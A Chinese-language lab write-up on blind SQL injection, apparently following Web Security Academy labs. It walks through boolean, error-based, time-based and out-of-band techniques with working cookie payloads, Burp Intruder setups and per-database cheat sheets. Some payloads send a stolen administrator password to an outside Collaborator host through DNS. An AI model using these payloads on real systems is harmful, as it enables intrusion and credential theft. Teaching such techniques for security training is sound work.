SQL blind injection

當應用程式容易受到 SQL 注入攻擊,但其 HTTP 回應不包含相關 SQL 查詢的結果或任何資料庫錯誤的詳細資訊時,就會發生 SQL 盲注。

Content-based/Boolean-based blind SQL injection

根據注入的條件觸發不同的回應來取得資訊

假如正常請求如下

GET / HTTP/2
Host: 0a1800d304f4172180218022007f00ae.web-security-academy.net
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4
...omit... 

上述請求會變成sql語法如下

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

因此可以依序測試以下的內容

Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4' AND '1'='1
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4' AND '1'='2

第一個注入的AND '1'='1條件為 true,顯示Welcome back

第二個注入的AND '1'='2條件為 false,不顯示Welcome back

這使我們能夠確定任何單一注入條件的答案,並一次提取一個數據,可以發動盲注功擊

  • 確認是否有資料表user,如果為true表示存在(返回會顯示Welcome back)
##################### request #####################
GET / HTTP/2
Host: 0a1800d304f4172180218022007f00ae.web-security-academy.net
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4' AND (SELECT 'a' FROM users LIMIT 1)='a
...omit...

##################### response #####################
...omit...
Welcome back
...omit...
  • 確認資料表user是否有administrator,以下返回welcome back表示存在
GET / HTTP/2
Host: 0a1800d304f4172180218022007f00ae.web-security-academy.net
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4' AND (SELECT 'a' FROM users WHERE username='administrator')='a
...omit...
  • 確認administrator密碼長度,使用intrudersnippper測試以下
GET / HTTP/2
Host: 0a1800d304f4172180218022007f00ae.web-security-academy.net
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>§§)='a
...omit...

payload1範圍從1試到20,如果產生false,表示長度為上一個數字

  • 確認長度為10後,使用intrudercluster bomb測試以下
GET / HTTP/2
Host: 0a1800d304f4172180218022007f00ae.web-security-academy.net
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4' AND (SELECT SUBSTRING(password,§§,1) FROM users WHERE username='administrator')='§§
...omit...

payload1範圍為1-20,payload2範圍為a-zA-Z0-9

並且在settings/GREP-Match設定只顯示返回內容含Welcome back的結果

最後就能看到administrator的密碼

Lab: Blind SQL injection with conditional responses

Error-based SQL injection

基於錯誤的 SQL 注入是指使用錯誤訊息推斷資料的情況

透過觸發條件錯誤來利用 SQL 盲注

各數據庫常見語法可參考如下

OracleSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
MicrosoftSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
PostgreSQL1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)
MySQLSELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')

先用有效的 SQL 語法測試

Cookie: TrackingId=u5YD3PapB'||(SELECT '')||'
Cookie: TrackingId=u5YD3PapB'||(SELECT '' FROM dual)||'

第一個顯示為無效,第二個沒有收到錯誤,這表示目標使用oracle數據庫

使用oracle語法在做一次驗證

Cookie: TrackingId=u5YD3PapB'||(SELECT '' FROM not-a-real-table)||'
Cookie: TrackingId=u5YD3PapB'||(SELECT '' FROM users WHERE ROWNUM = 1)||'

第一個為錯誤語法所以回傳錯誤訊息,第二個是正確語法所以沒回傳錯誤訊息,因此確認存在error-base漏洞

為了方便攻擊時判斷條件,可使用CASE語句測試如下,如果條件為true,則計算一個會引發錯誤的表達式1/0 

Cookie: TrackingId=u5YD3PapB'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
Cookie: TrackingId=u5YD3PapB'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'

第一個注入的1=1條件為 true,會返回錯誤訊息

第二個注入的1=2條件為 false,不返回錯誤訊息

這使我們能夠確定任何單一注入條件的答案,並一次提取一個數據,可以發動盲注功擊

確認資料表user是否有administrator,如果返回錯誤訊息表示存在

'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

確認administrator密碼長度,使用intrudersnippper測試以下

'||(SELECT CASE WHEN LENGTH(password)>§§ THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

payload1範圍從1試到20,如果產生false,表示長度為上一個數字

確認長度為10後,使用intrudercluster bomb測試以下

'||(SELECT CASE WHEN SUBSTR(password,§§,1)='§§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

payload1範圍為1-20,payload2範圍為a-zA-Z0-9

跑完後收集返回內容為Status 500的結果,就是administrator的密碼

Lab: Blind SQL injection with conditional errors

透過詳細的 SQL 錯誤訊息提取敏感數據

資料庫配置錯誤有時會導致詳細的錯誤訊息。這些可以提供對攻擊者可能有用的信息。

各數據庫常見語法可參考如下

MicrosoftSELECT 'foo' WHERE 1 = (SELECT 'secret')
> Conversion failed when converting the varchar value 'secret' to data type int.
PostgreSQLSELECT CAST((SELECT password FROM users LIMIT 1) AS int)
> invalid input syntax for integer: "secret"
MySQLSELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret')))
> XPATH syntax error: '\secret'

不知道目標網站是否有弱點,可在TrackingId=zGrTIjAYYHHLJeAY後增加'如下做測試

GET / HTTP/2
Host: 0a1800d304f4172180218022007f00ae.web-security-academy.net
Cookie: TrackingId=zGrTIjAYYHHLJeAY'; session=EeTJK76cInY6604FSm566W8POJU6wYrT

返回完整錯誤訊息 Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = 'zGrTIjAYYHHLJeAY''. Expected  char

改測試'--如下,但不返回錯誤訊息,表示語法有效,目標有SQL注入弱點

GET / HTTP/2
Host: 0a1800d304f4172180218022007f00ae.web-security-academy.net
Cookie: TrackingId=zGrTIjAYYHHLJeAY'--; session=EeTJK76cInY6604FSm566W8POJU6wYrT

嘗試使用cast測試如下

GET / HTTP/2
Host: 0a1800d304f4172180218022007f00ae.web-security-academy.net
Cookie: TrackingId=zGrTIjAYYHHLJeAY' AND CAST((SELECT 1) AS int)--; session=EeTJK76cInY6604FSm566W8POJU6wYrT

返回 ERROR: argument of AND must be type boolean, not type integer

增加1=解決type integer問題如下

GET / HTTP/2
Host: 0a1800d304f4172180218022007f00ae.web-security-academy.net
Cookie: TrackingId=zGrTIjAYYHHLJeAY' AND 1=CAST((SELECT 1) AS int)--; session=EeTJK76cInY6604FSm566W8POJU6wYrT

確認您不再收到錯誤,表示這是一個有效的查詢,確認cast能用,可以開始利用該弱點取得重要信息

  • 嘗試從資料庫中檢索使用者名稱,僅針對TrackID內容修改為

zGrTIjAYYHHLJeAY' AND 1=CAST((SELECT username FROM users) AS int)--

但返回Unterminated string literal started at position 95 in SQL SELECT * FROM tracking WHERE id = 'zGrTIjAYYHHLJeAY' AND 1=CAST((SELECT username FROM users) AS'. Expected  char

  • 查詢現在由於字元限製而被截斷,因此調整語法讓字數減少,如下

' AND 1=CAST((SELECT username FROM users) AS int)--

返回ERROR: more than one row returned by a subquery used as an expression

  • 根據錯誤訊息,改為限制只查一筆

' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--

返回ERROR: invalid input syntax for type integer: "administrator"

  • 根據錯誤訊息確認帳號為administrator,現在查密碼

' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--

返回 ERROR: invalid input syntax for type integer: "v4dz72zvg8kkhi72ndh1"

得到administrator的密碼為v4dz72zvg8kkhi72ndh1

Lab: Visible error-based SQL injection

Time-based blind SQL injection

注入條件是真是假來觸發時間延遲以做判斷

各數據庫Time delays語法如下

Oracledbms_pipe.receive_message(('a'),10)
MicrosoftWAITFOR DELAY '0:0:10'
PostgreSQLSELECT pg_sleep(10)
MySQLSELECT SLEEP(10)

例如,目標網站用postgresql,可以在有漏洞的地方插入'||pg_sleep(10)--,讓目標慢10秒

GET / HTTP/2
Host: 0a1800d304f4172180218022007f00ae.web-security-academy.net
Cookie: TrackingId=zGrTIjAYYHHLJeAY'||pg_sleep(10)--

Lab: Blind SQL injection with time delays

如果要增加條件,各數據庫的語法可參考以下

OracleSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
MicrosoftIF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
PostgreSQLSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
MySQLSELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a')

在Microsoft SQL Server,可以使用以下方式判斷,如果條件成立就會慢10慢,就像第2個

Cookie: TrackingId=x'; IF (1=2) WAITFOR DELAY '0:0:10'--
Cookie: TrackingId=x'; IF (1=1) WAITFOR DELAY '0:0:10'--

在Microsoft SQL Server,猜測administrator的密碼,各別字元猜對會慢10秒

Cookie: TrackingId=x'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--

假如目標網站為postgresql,可以如下操作

為了方便攻擊時判斷條件,可使用CASE語句測試如下,如果條件為true,則回覆時間慢10秒

Cookie: TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
Cookie: TrackingId=x'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--

第一個注入的1=1條件為 true,會慢10秒

第二個注入的1=2條件為 false,正常時間返回

這使我們能夠確定任何單一注入條件的答案,可以發動盲注功擊

  • 判斷administrator是否存在

'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

  • 判斷administrator密碼長度

'%3BSELECT+CASE+WHEN+(username='administrator'+AND+length(password)>20)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

由於密碼長度20以下都慢10秒,但由於此語句正常返回,因此密碼長度為20

  • 確認administrator密碼長度後,使用intruderclusterbomb測試以下

'%3BSELECT+CASE+WHEN+(username='administrator'+AND+substring(password,§§,1)='§§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

payload1範圍為1-20,payload2範圍為a-zA-Z0-9

把所有慢10秒的結果收集起來,就是正確密碼

Lab: Blind SQL injection with time delays and information retrieval

OAST 

當數據庫的不傳回任何資料、也不會傳回錯誤訊息,無法使用時間延遲時,可以用out-of-band方法,其中最常搭配的是DNS。

各數據庫的對外查詢dns語法可參考以下

Oracle如果還沒修補XXE漏洞,可以使用以下語法
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
如果XXE漏洞己修補,可嘗試使用以下語法
SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')
Microsoftexec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'
PostgreSQLcopy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
MySQL以下語法只能用在windo0ws平台
LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')
SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'

Microsoft SQL Server 可用以下語法在指定網域進行dns尋找

GET / HTTP/2
Host: 0a1800d304f4172180218022007f00ae.web-security-academy.net
Cookie: TrackingId=x'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--

ORACLE可用以下語法在指定網域進行dns尋找

GET / HTTP/2
Host: 0a1800d304f4172180218022007f00ae.web-security-academy.net
Cookie: TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--

Lab: Blind SQL injection with out-of-band interaction

除此之外,也可以使用方式搭配DNS將資料外傳,各數據庫語法參考如下

OracleSELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
Microsoftdeclare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')
PostgreSQLcreate OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();
MySQL以下語法只能用在windows平台
SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'

目標為mysql,嘗試將密碼傳送到cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net,語法如下

GET / HTTP/2
Host: 0a1800d304f4172180218022007f00ae.web-security-academy.net
Cookie: TrackingId=x'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--

該語法產生以下DNS查詢

S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.netS3cure就是本次傳回的密碼

目標為oracle,嘗試將密碼傳送到9y8vyliryu9i2nrwgxvqdmkz6qcg05.burpcollaborator.net,語法如下

GET / HTTP/2
Host: 0a1800d304f4172180218022007f00ae.web-security-academy.net
Cookie: TrackingId=x' UNION SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.9y8vyliryu9i2nrwgxvqdmkz6qcg05.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual--

該語法產生以下DNS查詢

fn49nc7npijudxvpkm2b.9y8vyliryu9i2nrwgxvqdmkz6qcg05.burpcollaborator.net,fn49nc7npijudxvpkm2b就是本次傳回的密碼

Lab: Blind SQL injection with out-of-band data exfiltration